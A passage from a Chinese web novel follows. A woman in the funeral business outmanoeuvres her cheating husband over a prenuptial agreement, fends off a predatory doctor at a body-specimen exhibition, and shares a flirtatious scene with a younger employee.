平日里,他也没少在单位里有意无意向同事们透露自己的这套婚房,并且成功引来了无数的恭维和羡慕。虽然这房子是岳父岳母出钱买的,但是到了他手里,难道自己还会吐出来?
要好的同事早已跟他透露了,由于他最近一直没去工作,单位里已经谣言四起,说什么的都有。都怪白绯...罗峻辉想到这里就觉得下身又开始隐隐作痛,他愁眉不展地想着,也不知道自己以后还能不能雄风大振。但现在当务之急,还是得先把家后方的问题先解决了,然后再赶紧回去工作岗位。
毕竟,他已经因为下身的隐疾请了一周的病假了,领导早就打电话来责问过了,他必须得尽快解决问题,不然只怕工作不保!如今自己好歹也算个中层,底下有多少人正对自己的位置虎视眈眈!
“好。”罗峻辉咬咬牙,安抚起自家的摇钱树:“辛苦你了,等婚房的邪祟除干净,咱们就能团圆了。”
不成想,白绯却在这时犹犹豫豫开了口:“可是老公,我爸爸妈妈很不高兴,他们说...他们说...”
“他们说什么?”罗峻辉面上不动,心中却暗道不好。
果然,白绯摆出一副泫然欲泣的模样,期期艾艾道:“他们说你一点也不爱我,不关心我,这次我沾上邪祟,你也不过来帮忙。而且,家中那个恶灵说,平生最恨见异思迁的渣男。我爸妈说,保不齐你就是那个见异思迁的渣男,说要叫我和你离婚。”
“放...”罗峻辉下意识就想拍桌大骂,好玄才控制住了自己。他其实也有点心虚,毕竟自己确实早就脚踏两条船了。但他是绝不可能承认的,反而觉得是白家自己的殡葬生意惹的祸。
但他也知道,现在不是追究责任的时候,而是要尽快哄住白家,毕竟,他的目的可不仅仅是一套婚房而已。
他忍着嫌恶轻轻握上了白绯的手,安抚道:“放心,绯绯,我有多爱你你还不知道吗?我怎么可能做那种禽兽不如的事?”
白绯被恶心得不行,假装抽回手擦泪。罗峻辉心中也嫌她晦气,也就顺势收回了手,在桌子的遮挡下在桌布上疯狂摩擦:“我只是担心自己帮不上忙,还给你们添乱。到时被恶灵缠上的人越来越多,谁还能来照顾你呢?”
“呜呜呜,老公你真好。”白绯也在桌子下疯狂擦手,嘴上却感动道:“我也是这么跟爸妈说的,但他们不相信。说,除非...”
“除非什么?”罗峻辉的心都跟着揪紧了。
“除非你现在签下婚前协议,放弃属于我的所有财产。并且承诺,如果自己出轨的话,你的婚前婚后财产也都属于我,你会净身出户。”
这怎么行?!罗峻辉的瞳孔都缩紧了,他打的就是白家财产的主意,要是签了这合同,岂不是赔了夫人又折兵?他正绞尽脑汁想着如何拒绝,白绯的一番话却让他心动不已,放弃了自己的坚持。
“我爸妈说,如果你签了这份协议,他们就相信你对我的感情,并且愿意出资五百万,给你在老家地基上建一栋新房,以后也不会再干涉我们之间的事了。”
罗峻辉差点被这天上掉下来的惊喜给砸懵了。五百万!那可是直接到手的五百万!我就知道白家那两个老不死的手上有不少钱!
他激动得心脏狂跳,深呼吸好几口气才勉强平复了雀跃的心情。他在心中权衡片刻,最终还是赌徒心里占了上风。他不甘心就此和白绯撕破脸,觉得自己早已把白绯这个没脑子的女人吃得死死的,只要暂时演一演戏,将来拿到自己手上的好处只会越来越多。
于是罗峻辉装出一副深情款款的样子,却不知此时顶着这么一副猪头脸有多好笑。
“好,没问题,岳父岳母就算不给我钱也没事,我又不是冲着钱来的,我只爱着你,只要能和你在一起,签一份婚前合同又算什么?我这就草拟一份...”
他说着就要从公文包里掏出纸笔,没想到白绯却打断了他。只见她从包里掏出一个文件夹,羞涩地递了过去:“我带了。”
竟然是有备而来。
但罗峻辉此刻已经被那五百万冲昏了头脑,也没再多想,打开笔就签上了自己的大名。
白绯接过合同仔细确认了他的签名后,也在合同上补上了自己的名字,之后就把协议妥帖地放回了包里。
自此,她终于可以开始下一步计划,和法院提起离婚诉讼,将罗峻辉扫地出门了。
原本白绯已经准备起身走人了,然而想到原书剧情中白家的悲惨遭遇,突地心生一计,准备再拉黑前最后给罗家一个教训,便又道:“对了,大师说等除完祟,我们虽然可以搬回新房,但最好还是提前做些准备,以防残留的煞气入体,影响我们的气运。”
罗峻辉赶紧正色问道:“该做什么准备?”
白绯一本正经地回道:“大师说,需要用童子尿和泥,然后在脸上敷49个小时。”
罗峻辉瞳孔地震:“当真?!”
“自然!”白绯一脸理所当然的样子,道:“这位大师可是唯一能将邪祟驱走的大师,法力高强,还能有假?老公,你们回去可一定要照做,不然后头搬回去被煞气入体,阳气受损,可不是闹着玩的!”
罗峻辉抿着唇纠结半响,最终重重一点头:“好!”
拼了!成大事者不拘小节,勾践卧薪尝胆!
心头大事终于办完,还顺带着捉弄了罗峻辉一番,白绯神清气爽。她一口喝干杯中的拿铁,拿包就准备走人:“老公,那我先回去了,还得回去法阵中坐着,不然煞气就该压不住了。你会想我的对不对?”
“当然当然,你快回去吧,别耽误了除煞。”罗峻辉吓了一跳,赶紧催她回去。
白绯便从善如流地走了。
等在车里的祝临川就看到她一脸神采飞扬地拉开车门坐了进来:“走吧,罗家完蛋了,哈哈!”
白绯掏出手机,直接把罗家所有人拉黑删除一条龙,接着就给自己之前找好的律师发去了消息,正式启动了离婚手续。她还顺带给陆寻发了条消息,交代他主要留下罗峻辉出轨的证据,以便在后期提交给法院。
祝临川看她这样的高兴,也不自觉地勾了勾唇微笑起来。
二人高高兴兴回到公司,一下车,却看到小施愁眉苦脸地坐在小院子里。
“怎么了这是?”白绯从副驾上下来,一边拿湿纸巾擦着眼上的青黑,一边问道。
小施叹了口气,眉眼都耷拉着,回道:“绯绯姐,李大爷走了。”
李大爷就是昨天那名穿着环卫工工作服的老人。
“嗯?走了?”白绯还没反应过来,惊讶地追问道:“去哪儿了?那尸体呢?他接走了吗?”
小施又重重叹了口气,解释道:“李大爷他去世了。”
白绯擦脸的手顿住了,她张着嘴想说什么,却又
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不知能说什么。
喉咙里仿佛被什么东西哽住了,她咳嗽一声清了清嗓子,片刻后才问道:“怎么去世的?什么时候?”
小施低着头拔砖缝里的杂草,回道:“我上午给李大爷打电话,他没接,后来再打,接通后是他老乡。这才知道昨天夜里,李大爷好好扫着地,突然就倒地上了。有路人过来帮着抢救,没能救回来。老乡已经把李大爷送去了殡仪馆,刚才又过来了这一趟,把李大爷的儿子也一并拉走了。说等...说等他们都火化了,会把两人的骨灰一起带回老家,入土为安。”
小施拔秃了砖缝里的杂草,长叹一声,声音带着哽咽:“老乡说,李大爷家已经...已经没有人在了,他会把他们带回去,好让一家在那边团圆。”
“行,都处理完了就成,我回屋歇会。”白绯低着头,继续用纸擦着眼睛,却有黑色的水渍顺着脸颊流下。
祝临川看着她几步跨进大门,接着上了楼。
大家心情都不好,小施坐在小板凳上换了处杂草薅,祝临川双手插兜靠在车边,也愣愣地望着天空发呆。
就在这时,却来了个意想不到的人。叙白开着车过来,在小院里停下,笑着问:“怎么回事,都愁眉苦脸地坐在这儿。”
小施看到他来,勉强打起精神,招呼道:“叙医生,你来啦~”
祝临川的脸更臭了,叙白却对他视若无睹。他从驾驶室下来,打开后备箱后笑着问小施:“吃东西吗?我工作室边上开了家网红甜品店,我买了点,大家一起尝尝~”
小施雀跃起来,站起身迎了过去,从叙白手中接过袋子,感激道:“您太客气啦,快进屋坐~”
叙白便跟着小施往里走,嘴里问道:“绯绯呢?怎么没见她?”
小施没什么心眼,眨眼就把事情抖搂了个干净。
叙白就那么含笑听完,挑眉道:“那是挺可惜的,绯绯忙活了一晚上才修复好尸体吧?带我去看看,这么精心的杰作,都没人欣赏就被付之一炬的话也太可惜了。”
小施隐隐觉得有哪里不对,但又说不出来,挠了挠脑袋憨笑道:“已经被李大爷的老乡拉走了。”
叙白真心实意地惋惜:“还是晚了一步啊~”
他抬脚想往屋里走,结果一直冷着脸的祝临川却突然横插一脚挡在了他面前。
叙白挑眉看他,就见祝临川双手抱胸,嘴里冷冷道:“别去打扰白绯。”
叙白一反之前好说话的模样,挑衅道:“哦?你是谁,凭什么身份来阻止我?”
小施拎着东西呆若木鸡,愣愣张着嘴看着莫名其妙干起来的两人,不明白怎么好好的,这两个根本没有交集的人就突然硝烟纷飞了。
祝临川抿着嘴不说话,只突然抬手就开始解衬衫领口的扣子。随着扣子被一颗颗地打开,锁骨上的咬痕就那么突兀地撞进了叙白的眼里。
小施的视角看不见那咬痕,只看到叙白突然就阴沉下了脸。说实话,这副模样的叙医生甚至让他感到有些害怕。
好在走出来的周芸打破了了这场无声的较量。她看到叙医生很惊喜,招呼道:“叙医生来啦,怎么在门口干站着?快进来坐。”
叙白收回落在祝临川锁骨上的视线,重又戴上了温文尔雅的笑面,朝着周芸走过去。擦肩而过时,狠狠撞了祝临川一个趍趔。
周芸看到祝临川还站在后头,招呼小施先带叙白进去,回过头去拉他:“怎么傻站在这儿。”
她挽着祝临川的胳膊,放低了声音问道:“绯绯今天和那姓罗的见面还顺利吗?她人呢,怎么没见她?”
祝临川慢慢和她解释,小施愣愣看着叙白又黑下来的脸,不明白这又是怎么了?都说女人心海底针,这男人的心思也不好琢磨啊?
白绯对这一切都不知情,她只是心里不舒坦,索性回房间后便瘫在了床上。她愣愣地躺了一会儿,突然烦躁地把抱枕全都摔到了地上。
将不知从何而起的怒气发泄过后,她又扑通一声倒回了枕头上,闷闷地不动了。
结果躺着躺着,竟然还真又睡了过去。等她醒来,就接到了陆寻好几条消息。
19. 救命是便太
陆寻一副怀疑人生的语气,给白绯发了好几条语音。
“白小姐,姓罗的一家好像失心疯了!祝金花今天下午突然鬼鬼祟祟出门,去花坛里挖了一大桶泥巴,还拽着个在那儿玩的小孩,非让人家往桶里面尿了一泡,之后就欣喜若狂地提着桶回家了,不知道的还以为捧着什么宝贝呢~后来,我就听他们屋里一直传来干呕的声音,这是整什么幺蛾子呢?”
白绯当然知道他们在整什么,她之前只是抱着试试的想法,没想到罗峻辉竟然真的中计了。想到他们拿尿和泥敷面膜,她就想笑。
她干咳一声,回复陆寻:“没事,不用管他们。对了,顾怜心那儿你有派人守着吗?”
陆寻很快回复了:“放心吧,我小弟蹲着呢。顾怜心那天被打了以后就跑回了她姘头那,今天突然去了妇产科,别是怀孕了吧?”
白绯挑挑眉,心道,还真有可能。毕竟按书中剧情,当时孩子就是差不多这时候有的。只是如今这孩子到底是谁的,还值得商榷。要是是陈昊的,那可就有意思了。
她便交代陆寻着重打探下这方面。陆寻听白绯一说,也替罗峻辉觉得头上冒绿光,兴奋地答应了。
白绯放下手机,伸了个懒腰从床上下来。她懒懒地揉着脖子,走出房门,竟看到一楼坐着个意料之外的人。
昨天才刚来过的叙医生,竟然又来了。
周芸听到二楼的动静,抬头看到她起来,笑眯眯地冲白绯招手:“可算睡醒了,叙医生等你老半天了。还买了不少点心,你下来尝尝~”
白绯打着哈欠下了楼梯,在周芸身边坐下。她冲叙白点点头权做打招呼,懒洋洋地用叉子叉了一块红丝绒蛋糕。
味蕾被唤醒,白绯眼前一亮,又叉了一小块放进嘴里,满足得微微眯起了眼睛。
周芸又给她端过来一块千层,示意她尝尝。“你再试试这个,叙医生很有眼光,挑的几款味道都很不错。”
叙白闲适地靠在沙发上,面对周芸的夸奖竟然附和道:“阿姨,您说的不错,我一向很有眼光。”
他看着白绯,风度翩翩地向她发起了邀请:“白小姐,不知有没有这个荣幸,邀请你和我一起去看展?”
白绯下意识想拒绝,却被周芸打断了。她意有所指道:“小祝都告诉我了,既然一切顺利,何不开始新的人生?”
周芸已经看出来了,这年少有为的叙医生对自家女儿有意。眼下一切顺利,白绯很快就能摆脱罗家,那自然可以开始物色新的对象了。另外她也有自己的私心,毕竟当年白绯可是为了罗峻辉要死要活,她担心女儿最后又会心软。不是都说,忘记旧恋情的最好办法就是尽快展开一段新的恋情吗?眼前主动送上门的有为青年,就这么放过岂不可惜?
于是,白绯就这么莫名其妙地和叙白上了车。
“我们去看什么展?”她打起精神问道,想着既然出来了,就干脆玩玩。
结果没想到,叙白回了她一句:“人体标本展。”
白绯:...拜托,她平时看的难道还不够多吗?
叙白却显得很有兴趣,道:“这个展览里的所有展品,都是用特殊工艺处理过的真人标本,很难得。绯绯,我想你也会被这些艺术品震撼的。”
白绯:“...叙医生还是叫我白绯吧。”
她放松地靠在椅背上,最终还是没忍住内心的好奇,问道:“叙医生喜欢看这些?一般人都会觉得害怕吧,很多人甚至连我们公司都不敢来。”
叙白透过后视镜看了白绯一眼,笑了笑,语气温文尔雅,说出来的话却让人有些毛骨悚然:“死亡有其独特的魅力。去除聒噪的外在,留下内里的本质,这样的艺术品对我很有吸引力。我想你应该能理解我。”
不,我不能。
白绯敷衍地冲他笑笑,觉得这个叙医生八成是有病。
说话间,车子已经到了展览中心,偌大的场馆门口是烫金的大字,写着“人体奥秘展”。
叙白看起来是这里的常客了,停车场的保安甚至还熟络地和他打了个招呼:“叙医生又来啦~哟,这次带着女朋友来的?”
叙白竟然没有否认,白绯意外地看了一眼,也懒得解释。
推开厚重的玻璃门,一股凉意扑面而来,空气中弥漫着淡淡的福尔马林味道。展厅很大,灯光调得很暗,每个展台都打着一束聚光灯,将那些人体标本照得格外清晰。
迎面第一具,就是一具完整的人体神经系统标本,大脑下蜿蜒而出的白色的神经纤维宛若生命之树,在蓝丝绒背景的衬托下熠熠生辉。
叙白承担起了向导的责任,主动开始了解说:“世界上第一具完整的人体神经系统标本诞生于1888年,由美国医学生花了五个小时才解剖完成的。当时还只能使用铅漆来对神经纤维做防腐,但现在了生物塑化技术,能更好地保持神经的韧性。”
他站在玻璃外静静凝视着那些如树枝般细密的神经,眼里是一闪而过的痴迷:“有时候,真的想有机会能亲手创作出这样的艺术品。”
白绯:...这人真的看起来不太对劲。
她没有再理叙白,抬起脚往里走去。展厅里有太多的标本了,一些整体的标本还勉强能让人接受,但看到切片和断层标本时,她还是觉得心里不太舒服。
诚然,对于这些自愿捐赠身体用于医学研究和科普的大体老师,她心中是十分尊敬的,但这不妨碍她为此感到难过。
一路过去,她看到了完整剥离皮肤暴露出其下血红肌理的标本,还有被包裹在完整血管下的骨骼标本,甚至还有被竖切成30余片的人体标本。
在她最后看到各个阶段的胚胎标本时,白绯终于决定还是直面自己的内心,找个借口直接溜走吧。今天心情已经够糟糕了,实在不需要再叠甲了。
她窝在角落里正想找个视线死角好调个闹钟,叙白却已经寸步不离地跟了上来。
“白绯。”高大的男人将她堵在了展柜和身体之间,居高临下地看着她,“你和祝临川睡了吗?”
白绯差点没被自己的口水呛死:Excuseme
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“哈哈,叙医生,你说什么胡话呢,我没听清。”她打着哈哈想要溜走,却被叙白严丝合缝地挡住了一切出路。
叙白终于撕下了他温和的假面,肆无忌惮地展现出了自己的攻击性。他伸手握住白绯的手腕,轻轻吻了吻她的指尖。
唇舌火热,白绯却只觉得后背发凉。
叙白强迫她把手掌按在了自己的胸膛之上,让她感受自己扑通跳动的心脏:“毛都没长齐的小屁孩有什么好玩的。白绯,来玩我啊。”
白绯的手尴尬地抠紧,在心里疯狂吐槽:救命,是你在玩我吧?妈妈,我好害怕,这里有变态啊啊啊啊~
她想把手从叙白的胸口收回,却被他强抓着手不放。挣扎间,她一时怒火上涌,抬起另一只自由的手就狠狠抽了上去。
“你给我放开!”
啪地一声脆响,叙白被打得偏了偏脸。清脆的耳光声在偌大的展厅里回响。
白绯有些后怕地蜷了蜷手指,目光已经偷偷瞄向了叙白的裆部,脚下也做好了准备。若是叙白敢对她动手,她就先下脚为强,让他做第二个罗峻辉。
然而很快,她就被吓得浑身汗毛直立。干,今天这是碰上真变态了啊!
叙白的裆部肉眼可见地开始鼓起,白绯惊悚地抬头看他,只见他用舌尖顶了顶被扇红的腮帮,不怒反笑,道:“打得不够重,再用力点。”
白绯:啊啊啊啊啊啊啊~
她眼看着叙白把脸凑了过来,想要吻自己的唇,又惊又怒,抬脚就准备踢。
然而叙白早有准备,长腿往她□□一插,彻底将她牢牢控制在了玻璃展柜上。
背后是一具展示肌肉的大体老师,白绯浑身寒毛直竖,色厉内荏地质问:“叙医生!你理智一点!大庭广众的你发什么疯!”
叙白舔了舔自己唇上刚才挨打咬伤的破口,含着血腥气问道:“那你愿意和我换个地方好好玩玩吗?虽然我本人更喜欢被这些尸体围观,但是你的意见我自然也是愿意参考的。”
白绯体会到了对牛弹琴的绝望。这是要不要换个地方的问题吗?谁他妈要和你玩了?
虽然叙白其实长得不错,白绯也向来信奉及时行乐,但这并不意味着她来者不拒,尤其还是这种一看就脑子有病的疯批。
从他们进来起,展厅里就没有其他的游客,也没有任何的工作人员。白绯的视线开始偷偷往房顶飘,想要找到监控的位置,然而还没等她找到,叙白就开口打破了她的希望:“在找监控吗?放心,这是我特意挑的好位置,保证没有任何一个监控能拍到我们。”
这特么还是有备而来!
白绯彻底绝望了,她的双手被牢牢按在脸侧,身体也无法动弹。她只能选择先安抚眼前这个疯子:“叙医生,我们有话好好说,你先放开我好吗?”
叙白毫不掩饰自己身下的动静,坦然得仿佛在大庭广众之下耍流氓的是别人。
“白绯,我们是一路人,从第一眼看见你,我就知道。人生苦短,我们何必浪费时间?”
20. 男德
叙白垂眸注视着白绯,就像看着不慎撞上蜘蛛网的蝴蝶,眼里满是势在必得。
白绯在短暂的慌乱过后很快就镇定下来。
“呵...”她突然低头轻笑了一声,紧跟着微微侧头,轻佻妩媚的视线像钩子似地顺着叙白滚动的喉结一路向上,扫过他紧绷的下颌线,最后直直注视着他涌动着欲望的双眸。
纤长的睫毛掀起,下面仿佛盈着一汪春水:“想要被我玩,就得先学会听话。”
白绯红唇微微开合,吐出的话语却惊世骇俗:“跪下。”
然而叙白犹豫片刻,竟真的缓缓松开了手,屈膝跪在了地上。
猎人与猎物的身份掉转,白绯居高临下地看着叙白,红底漆皮的高跟鞋抵住他穿着西装裤的膝盖前。
她在叙白一瞬不瞬的注视中,缓缓将黑色的真丝裙摆提到了膝盖,露出一截线条优美的小腿。
“咕咚”一声,吞咽口水的声音在寂静的大厅里格外明显。叙白眼看着白绯后背靠着展示柜的玻璃,慢慢抬腿屈膝,踩在了自己的肩头。
坚硬的高跟鞋底隔着衬衫戳在柔软的皮肤上,带来细微的疼痛。
叙白的胸膛不住起伏,脖颈拉出紧绷的弧线。笔挺的衬衫下肌肉偾张,袖口卷到手肘,露出结实的小臂。皮带掐着一截窄腰,臀部挺翘,充满了男性的爆发力。
“闭眼。”女王冷冷发布了命令。
叙白火热的目光牢牢锁定白绯,偏头吻上脸侧的脚踝,滚烫的唇贴着皮肤不住游移,顺着饱满的小腿肚一路往上,仿佛下一刻,就要站起来,将这骄傲且不可一世的主人掀翻在地。
白绯神色如常,只毫不留情地加大了脚下的力度,又把叙白踩了回去。
叙白浑身战栗,温顺地闭上了眼睛,宛若引颈就戮,等待着主人赏赐下惩罚。
白茶花的香气靠近,染着豆蔻的手指拂过脖颈处跳动的颈动脉,意味深长地来回划动,仿佛尖刀随时准备割破血管,让脉动的鲜血喷涌而出。
叙白只觉得自己的灵魂都在忍受煎熬,偏过头去想要追逐那双生杀予夺的手,却被带着侮辱性质地拍了拍脸颊。
“不乖的小野狗,是要受到惩罚的。”湿热的吐息在耳边响起,手指顺着喉结一路往下,一颗颗解开了衬衫的纽扣。
快感的电流顺着尾椎骨一路往上,让叙白的额头甚至都微微出了汗。
他静静等待着,静静等待着,然后就听到保安压抑的惊呼:“叙医生,你怎么跪在地上?!”
叙白猛地睁开眼,只是眼前哪里还有白绯的影子,只有一具展现着全身肌肉的大体老师正含笑看着他。
保安看着袒胸露乳的叙医生,一脸的莫名其妙。
“我没事。”叙白牙咬得咯吱直响,额角青筋跳动。他站起身拢住敞开的衣襟,又恢复了那副风度翩翩的模样,转身就走。
保安疑惑地挠了挠头,看着展示柜里的标本,心想,难道叙医生是被大体老师的奉献精神感动,所以在这下跪磕头呢?不过下跪就下跪,他脱衣服干嘛?和大体老师battle肌肉呢?
此刻另一边,白绯早已溜到了展厅门口。她怕引起叙白的注意,甚至脱掉了高跟鞋,光着脚一路跑了出来。
她扶着墙壁把提在手上的高跟鞋又重新穿了回去,正准备掏出手机叫车,门口停车场却来了一辆熟悉的车,正是她自己的奔驰。
是谁这么心有灵犀?
车门打开,下车的竟然是祝临川。他站在驾驶室边,眼神游移,欲言又止。
之前当他回到小楼,发现叙白的车不见时,还心生窃喜。祝临川原本是想一直在一楼大厅守着的,奈何白书远喊他去后头小屋帮忙整理库存,他不好拒绝,只能一步三回头地走了。
他起初还以为是叙白一直没等到白绯,只能铩羽而归,结果周芸却告诉他:“绯绯啊,叙医生和她一起看展览去啦~就在xxx大会展中心。”
天塌了。
祝临川扭头就想去找白绯,然而走了两步却又顿在了原地。
也许老天是在趁此机会暗示他,白绯并不属于他,他该放手了。既然她遇到了优秀的追求者,找到了自己的幸福,那么自己就该默默在身后祝福才是。毕竟该是他的别人抢不走,不属于他的强求也没有用。
没用个屁啊!然而祝临川很快就甩开了这个念头,他毅然决然地从前台抽屉里拿出白绯的车钥匙,一脚油门就开了出去。
然而满腔的鸡血在看到白绯的瞬间却偃旗息鼓。祝临川的大脑疯狂运转,他该怎么和白绯解释自己到这里的理由,白绯会不会觉得他这样阴魂不散地打扰她约会十分讨厌?
然而还不等他琢磨出个一二三,白绯已经踩着高跟鞋朝这里冲刺过来。她一脸他乡遇故知的惊喜,拉开车门就一头钻进了副驾,活像被鬼撵着似的。
“快走快走。”白绯哐地一声甩上车门,隔着窗户催促还傻傻站在外面的祝临川,“趁人还没出来,咱们赶紧溜!”
祝临川不明所以,但不妨碍他快速执行白绯的指令。他长腿一迈坐进驾驶室,果断踩下油门,掉转车头离开了会展中心。
“发生什么了吗?”祝临川指节轻轻敲着方向盘,在等红灯的间隙悄悄瞥了眼白绯,斟酌着问道,“玩得还开心吗?叙医生呢?”
白绯瘫在座椅上有气无力地摆摆手:“别提了。”
她拿乖巧的祝临川给自己洗眼,心里默默吐槽,她知道人可以变态,但真没想到可以这么变态。白绯感觉经此一役,自己已经精神阳痿,短时间内对男色都提不起任何兴趣了。
二人回了小楼,周芸看到她这么早就回来了很是意外,脱口而出道:“怎么这么早回来了?”
看完展不该顺便看个电影吃个饭吗?都是火气正旺的年轻人,约完会要是彼此对眼再去开个房酱酱酿酿都很正常,莫非...
周芸含蓄道:“叙医生,是不是....不行啊?”
白绯:...妈妈你正常点我害怕。
周芸瞟了不远处的祝临川一眼,拉着白绯的胳膊走到一边,语重心长道:“听妈一句话,下次再结婚,还是得先试试。不是有个电影还叫试婚吗?尤其是男人那方面,要是不行就赶紧跑,不然就是守活寡!你可别小看这个,床上和谐,才能婚姻幸福。妈和你爸这么多年还能恩爱,还不就是...咳,反正你可千万记着,都25世纪了,不讲究贞操那玩意儿了,该睡就睡,知道了吗?”
白绯尴尬地应了一声,她没好意思告诉周芸,叙医生应该是行的,可能都有点太行了。
受此惊吓,她这几天一直蔫蔫的,不是躲在后头平屋里练
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习缝合,就是在折纸活。
白绯清点了下库存,又给小楼里添了台3D打印机,再入手了几个模特试穿寿衣,还进货了几颗漂亮的头骨,沉浸在事业中的她感受到了久违的平静。
唯一奇怪的就是,祝临川这小子最近老在自己眼前晃。
今天祝临川难得脱掉了他常穿的白衬衫,换了一身黑色紧身背心。他走进平屋,开始收拾里面的随葬品,肌肉随着发力的动作鼓起,充满了爆发力。
白绯欣赏了几眼祝临川衣服包裹下的线条。他是那种时下流行的薄肌身材,肩膀宽阔厚实,胸肌轮廓分明。
“你在干嘛呢!”白绯关掉平板上的澳门新葡京,屏幕上的怪物刚好咬掉了人的脑袋,血浆爆裂。
“阿姨说让我清点下库存,顺便做下整理。”祝临川回答。汗水顺着他的额头滑落,他便单手撩起背心的下摆,擦了擦脸上的汗。紧实的八块腹肌因此暴露在视线中,线条清晰的人鱼线顺着腰线向下延伸,消失在灰色的运动裤中。
“哦,热了就休息会儿。”白绯挠了挠下巴,左手夹着一个模特,右手揣着一个头骨,头也不回地走了。
等白绯的身影消失不见,祝临川便停下了手中的动作。
他眉头紧皱,眼中风雨欲来。难道...白绯已经被那个狗屁心理医生勾走了魂,对自己没兴趣了吗?
祝临川看着怀里的纸人,心中很是不安。今天,他特意换上背心在白绯面前秀身材,然而白绯却对自己连看一眼都欠奉。果然,得到了以后就不再珍惜,难道,他将要失去白绯的宠爱吗?
白绯走了,祝临川也懒得在这里演戏,把东西收拾好后也回了小楼。大厅里,陈安夏和小施正头对头在看着什么,还时不时发出诡异的笑声。
“哇,穿着睡衣看不出来,没想到脱了衣服这么有料!”
“小施哥,我跟你讲,全脱有什么意思,犹抱琵琶半遮面才勾魂。嘿嘿,我给你看看这个~”
祝临川耳朵一动,停住了脚步。
小施和陈安夏毫无察觉,他们正捧着手机,专注欣赏着上面的擦边男主播。
只见陈安夏从自己的收藏中挑出一个视频,献宝似地展示给小施看:“你看这个,胸链,男人的黑丝!”
屏幕上,昏暗暧昧的灯光下,赤裸着上半身的男人脖颈胸膛上缠绕着一条精致的胸链,随着他的动作轻轻晃动,反射出细碎的光芒。他微微仰着头,骨节分明的手指充满暗示意味地抚摸着轻颤的喉结,眼神迷离。
小施小脸通黄,感叹道:“哇~安夏,看不出来啊,你平时这么害羞,原来在网络上这么大胆的吗?”
陈安夏不好意思地小声回道:“嘿嘿,现实中我唯唯诺诺,网络上我直接嗨老婆…这些男菩萨…哎哟我的妈…”
说话间她猛地抬头看到站在小施背后的人,被吓得直接一个后仰,连滚带爬蹿上了沙发。
待看清来人是祝临川后,安夏摸着砰砰狂跳的胸口,哭笑不得地埋怨道:“临川,你怎么不吱声啊,吓死我了…”
祝临川一脸高深莫测,冲二人点点头,又沉默着飘走了,只留下小施和安夏面面相觑。
安夏:“临川他怎么怪怪的?”
小施看看屏幕上还在拼命擦的男主播,猜测道:“可能发现了新大陆?”
21. 胸链
今天小楼里没有人,小施带着陈安夏和祝临川去外面跑单了。有个客户打电话过来,逝者头七要到了,让给送一些纸钱和其他纸活去。
白绯独自留在小楼看家,她懒懒地靠坐在前台,掏出手机对着林柔的对话框犹豫了半晌。
她不知道该不该发信息去询问一下林柔的近况,打字打了半天,最后还是全部删除,然后退出了对话框。
做他们这一行的,别人向来有些忌讳,是不愿意和他们有所交集的。白绯托腮想,既然没有消息,那就是最好的消息。希望林柔的病情已经有所好转了,她衷心希望她能恢复健康,得到作为一名好人应有的回报。
左右无事,白飞便点进app刷起了短视频。正在她看修驴蹄看得津津有味时,小院里传来车子的引擎声,是小施他们回来了。
车门打开,陈安夏哭丧着脸率先跑了进来,对白绯道:“绯绯姐,不好了,临川受伤了!”
白绯吃了一惊,扔下手机就往外跑,正好看见小施扶着祝临川从副驾下车。她定睛一看,果然发现原本好好一张俊脸上,凭白被抓出了一道新鲜的血痕,上面还在不断往外渗出新鲜的血珠。
白绯心疼地扯过祝临川仔细打量,才发现就连脖子上都有好几道伤口,一路延伸进了领口深处。
“怎么回事?”白绯的脸阴沉下来。好好地出去送货,怎么弄出了一身伤回来。“客户欺负你们了?”
小施满脸愧疚,嗫嚅着和白绯解释:“绯绯姐,这事都怪我。我昨天晚上帮我妈看店,替她收了会儿账,忘记把收账到款的语音播报给关掉了。今天去客户家里,客户扫码付钱,手机就自动播报了欢迎下次光临…”
原来是闹了这么个乌龙。
白绯哭笑不得,安抚小施道:“算了,别太自责,这事也难免的,毕竟咱们这行有太多忌讳了。”
安夏现在回想起当时的场景还有些后怕,忿忿道:“他们怎么这么不讲道理?我们又不是故意的!亏得小施哥还给他们打了折,结果说翻脸就翻脸!”
白绯无奈道:“说白了,咱们也不过是服务行业,这行本来就不好做。更何况是生死大事这种忌讳。”
她轻轻扯开祝临川衣领往里看了看,轻声责怪道:“你也真是的,怎么这么老实?别人打你,你就那么老实立正挨打,都不知道躲吗?”
她说归说,语气里的心疼却也藏不住。
祝临川看着白绯替自己担心,心道自己当时选择硬挨那两下果然是正确的决定。
高冷的青年仿佛委屈极了似的,垂下脑袋埋在了白绯的肩膀上,委屈撒娇:“不疼…”
说是不疼,但声音却打着颤,分明就是疼的。
白绯向来吃软不吃硬,被他喊得心都化了。她安抚地摸了摸祝临川的脸,道:“你回房间等我,我去拿药箱。”
“你们俩呢,有受伤吗?”白绯又跟小施和安夏确认,得到否定的回答后送了口气,“没事就好,你们去休息会儿吧,我去给临川上药。”
她走到前台,从柜子里拿出一个医药箱。祝临川的伤口看着瘆人,但其实不深,只是破皮流血,拿碘伏消下毒就行了。
白绯拿着一盒碘伏棉签上了楼梯,走到二楼。祝临川的房门虚掩着,里面很黑。
“干什么呢?怎么拉着窗帘,灯也不开?”
白绯一头雾水地推开房门,啪地一声,床头的落地灯亮了,然而当她看清眼前的一幕时,却直接愣在了当场。
祝临川已经脱掉了衬衫,然而又穿了点其他的东西。一条银链绕过脖颈,从锁骨凹陷处垂落,蛇信般的链条在胸肌沟壑间游走,胸链末端坠着黑色的宝石,随着呼吸起伏扣打着腹肌。链条间还泛着血色的伤口,为这暧昧的场景更添了几分诱惑,仿佛在蛊惑来人,再在这具年轻又鲜活的身体上,制造出更多的伤口。
祝临川就这么一瞬不瞬地望着白绯,然后缓缓屈膝跪在了地上。
白绯终于回过神来,反手关上门后靠在了门板上,语气充满了被取悦到的愉悦:“小童工,你这是在勾引我吗?”
临川用行动代替了回答,他向着白绯膝行了几步,直到他停在白绯足前一寸。
白绯这才发现,原来他脖子上的项圈还坠着一枚小铃铛。她忍俊不禁地伸出手指挑了挑,铃铛发出一声脆响。
祝临川握住她的手,将项圈链条的末端放在了她的手心。眼神湿漉漉的,像一只听话的小狗。
小狗偏着头,乖巧地将自己的脸放在了白绯握着链条的掌心。
“看来伤得不重,还有心思勾引人。”白绯轻轻牵着链条,把祝临川拉了起来,带着他来到床边坐下。
她双腿一分,跨坐在祝临川结实的大腿上,撕开棉签包装开始给他消毒,嘴角的笑意藏都藏不住:“哪儿学来的本事,还会戴胸链了,这也是你在外面打工的时候学的吗,嗯?专门学来勾引姐姐?”
祝临川被冰凉的碘酒和伤口的疼痛刺激,双手忍不住掐紧了白绯的腰,低低喘了声,老实道:“网上学的,说胸链是男人的医美。”
